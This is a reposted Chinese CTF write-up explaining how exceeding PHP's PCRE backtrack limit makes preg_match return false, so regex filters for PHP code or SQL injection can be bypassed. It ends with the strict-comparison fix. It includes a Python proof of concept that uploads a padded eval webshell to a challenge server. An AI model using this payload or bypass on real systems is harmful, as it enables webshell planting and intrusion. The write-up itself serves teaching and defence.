[转]PHP利用PCRE回溯次数限制绕过某些安全限制

此次Code-Breaking Puzzles中我出了一道看似很简单的题目pcrewaf，将其代码简化以下:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}　

大意是判断一下用户输入的内容有没有PHP代码，若是没有，则写入文件。这种时候，如何绕过is_php()函数来写入webshell呢？

这道题看似简单，深究其原理，仍是值得写一篇文章的。

0x01 正则表达式是什么

正则表达式是一个能够被“有限状态自动机”接受的语言类。

“有限状态自动机”，其拥有有限数量的状态，每一个状态能够迁移到零个或多个状态，输入字串决定执行哪一个状态的迁移。

而常见的正则引擎，又被细分为DFA（肯定性有限状态自动机）与NFA（非肯定性有限状态自动机）。他们匹配输入的过程分别是：

• DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步肯定至下一个转移状态，直到匹配不上或走完整个输入
• NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，若是匹配不上，则进行回溯，尝试其余状态

因为NFA的执行过程存在回溯，因此其性能会劣于DFA，但它支持更多功能。大多数程序语言都使用了NFA做为正则引擎，其中也包括PHP使用的PCRE库。

0x02 回溯的过程是怎样的

因此，咱们题目中的正则<\?.*[(`;?>].*，假设匹配的输入是<?php phpinfo();//aaaaa，实际执行流程是这样的：

 

 

 

见上图，可见第4步的时候，由于第一个.*能够匹配任何字符，因此最终匹配到了输入串的结尾，也就是//aaaaa。但此时显然是不对的，由于正则显示.*后面还应该有一个字符[(`;?>]。

因此NFA就开始回溯，先吐出一个a，输入变成第5步显示的//aaaa，但仍然匹配不上正则，继续吐出a，变成//aaa，仍然匹配不上……

最终直到吐出;，输入变成第12步显示的<?php phpinfo()，此时，.*匹配的是php phpinfo()，然后面的;则匹配上[(`;?>]，这个结果知足正则表达式的要求，因而再也不回溯。13步开始向后匹配;，14步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

在调试正则表达式的时候，咱们能够查看当前回溯的次数：

 

 

 

这里回溯了8次。

0x03 PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit。咱们能够经过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限：

 

 

 

这里有个有趣的事情，就是PHP文档中，中英文版本的数值是不同的：

咱们应该以英文版为参考。

可见，回溯次数上限默认是100万。那么，假设咱们的回溯次数超过了100万，会出现什么现象呢？好比：

可见，preg_match返回的非1和0，而是false。

preg_match函数返回false表示这次执行失败了，咱们能够调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的缘由的确是回溯次数超出了限制：

因此，这道题的答案就呼之欲出了。咱们经过发送超长字符串的方式，使正则执行失败，最后绕过目标对PHP语言的限制。

对应的POC以下：

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0x04 PCRE另外一种错误的用法

延伸一下，不少基于PHP的WAF，如：

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题，经过大量回溯能够进行绕过。

另外，我遇到更常见的一种WAF是

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

　　

这里涉及到了正则表达式的“非贪婪模式”。在NFA中，若是我输入UNION/*aaaaa*/SELECT，这个正则表达式执行流程以下：

• .+?匹配到/
• 由于非贪婪模式，因此.+?中止匹配，而由S匹配*
• S匹配*失败，回溯，再由.+?匹配*
• 由于非贪婪模式，因此.+?中止匹配，而由S匹配a
• S匹配a失败，回溯，再由.+?匹配a
• ...

回溯次数随着a的数量增长而增长。因此，咱们仍然能够经过发送大量a，来使回溯次数超出pcre.backtrack_limit限制，进而绕过WAF：

0x05 修复方法

那么，如何修复这个问题呢？

其实若是咱们仔细观察PHP文档，是能够看到preg_match函数下面的警告的：

若是用preg_match对字符串进行匹配，必定要使用===全等号来判断返回值，如：

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样，即便正则执行失败返回false，也不会进入if语句　　

　　

 

来自p神文章：

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html?page=1#reply-list